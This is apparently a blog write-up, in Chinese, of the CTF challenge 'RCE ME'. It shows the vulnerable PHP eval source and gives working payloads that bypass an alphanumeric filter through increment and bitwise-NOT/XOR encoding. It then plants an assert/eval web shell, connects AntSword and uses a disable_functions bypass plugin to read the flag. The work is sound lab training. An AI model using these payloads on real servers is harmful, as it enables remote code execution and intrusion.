[极客大挑战 2019]RCE ME

python 复制代码
<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

这道题之前做过,命令注入,禁用了所有字母和数字,可以利用自增绕过,再做一遍。

_=(0/0)._;=_\[_\];_=++__;++;_=._;++;__++;++;_=_.__;++;_=_..__;_\[_\]($[__]);

但是长度超过40了。还有更好的办法吗?

看了一下别人的答案,可以用取反运算。

urlencode(~'_POST'); 得到%A0%AF%B0%AC%AB

然后上传code=_=\~%A0%AF%B0%AC%AB;_\[_\]($_[__]);

到服务端会自动进行url解码,得到的是不可见字符,经过取反运算后还原成_POST,就能进行命令执行。

然后尝试POST:_=system&__=ls /但是显示被禁用了。

于是通过**code=_=\~%8F%97%8F%96%91%99%90;_();**执行phpinfo():

可以看到有很多函数被禁用了,包括system

关于代码执行的一些逻辑梳理

eval(_POST\[0\])会将传入的_POST[0]字符串当作代码执行,但是如果是eval('echo 123;_POST\[0\]')就只会执行字符串'echo 123;_POST[0]',_POST\[0\]在里面只是一个变量,并不是可执行代码,只有像'echo 123;eval(_POST[0]);'才能正确植入木马。因此我们植入的木马必须是_POST\[0\](_POST[1]),该语句是动态函数调用语句,是可执行代码,这时候可以赋值0=assert,同样也会执行_POST\[1\]中表达式,只不过在较新版本php中有些限制,因此我们可以利用1=eval(_POST[3])然后蚁剑链接3即可。不能直接赋值0=eval因为eval不是函数不能用于动态函数调用。

system被禁用了怎么办呢,可以利用GET传入_=assert&__=eval($_POST[0]),然后用蚁剑链接0,这里因为有很多函数禁用(其实蚁剑的本质就是自动注入代码),我们需要下载一个插件绕过这些禁用函数。

利用echo urlencode(~'_GET');得到%A0%B8%BA%AB,然后尝试:

?code=_=\~%A0%B8%BA%AB;_\[_\](_\[__\]);\&_=assert\&__=eval(_POST[0])

可以看到成功了 。

然后用蚁剑链接,链接成功后我们可以看到根目录下的flag文件但是看不到具体内容。需要下载插件绕过禁用函数。

具体流程就是下载"绕过disable_founcs"插件然后加载插件,选择PHP7-GC-UAF模式,开始后在命令行运行/readflag就能拿到flag。

但是PHP7-GC-UAF模式是干什么的?readflag程序又是什么?

不同模式代表不同的绕过方法,可以根据phpinfo中的配置信息选择合适的模式(也可以一个个试),这里我们可以看到使用的是php7版本,所以选择PHP7-GC-UAF可以成功,当然还有其他的模式可选。

readflag是靶机设计者设置的 flag 获取入口,我们需要执行该命令以获取flag。

总结:这道题考察禁用了字母和数字的命令执行,之前使用的方法是自增绕过,但是这里限定了长度,所以只能使用另外两种方法,取反和异或。我使用的是取反,异或的原理也类似:

111^101=010相当于是取反。另外url编码是将字符的ascii码由八位二进制转换为两位十六进制数,再加上百分号。因此%FF解码后的二进制字符串就是全1的数,因此我们可以利用%FF%FF%FF%FF^%A0%B8%BA%AB得到_GET。

另外这道题涉及绕过disable_functions

disable_functions 是 PHP 配置文件(php.ini)中的一个安全设置项,用于禁止指定的 PHP 函数执行,从而限制脚本的操作权限,降低安全风险。

我使用的是最简便的方法--利用蚁剑插件。

相关推荐
钛态3 小时前
前端微前端架构:大项目的救命稻草还是自找麻烦?
前端·vue·react·web
里欧跑得慢3 小时前
15. Web可访问性最佳实践:让每个用户都能平等访问
前端·css·flutter·web
钛态3 小时前
前端趋势:别被时代抛弃
前端·vue·react·web
oscar99912 小时前
在浏览器中使用 OpenCode
web·browser·opencode
曲幽15 小时前
用了loguru我才明白,Python日志还能这么写
python·logging·fastapi·web·async·loguru·handler·uvicorn
牧码岛16 小时前
Web前端之JavaScrip中的Array、Object、Map和Set详解
前端·javascript·web·web前端
℡終嚸♂6802 天前
n8n 未初始化接管到读取 Flag Writeup
服务器·web安全·web·n8n
曲幽2 天前
FastAPI配置管理避坑指南:从硬编码到 .env 与 pydantic_settings 类,连路由用法都给你捋清楚
python·fastapi·web·settings·config·pydantic·.env·dotenv·.env.prod
rannn_1113 天前
【FastAPI|快速入门】第一个FastAPI程序、路由、参数、相应类型、自定义响应数据格式、异常响应处理
python·ai·fastapi·web·开发
tryqaaa_4 天前
学习日志(二)【linux全部命令,http请求头{有例题},Php语法学习】
linux·学习·http·php·web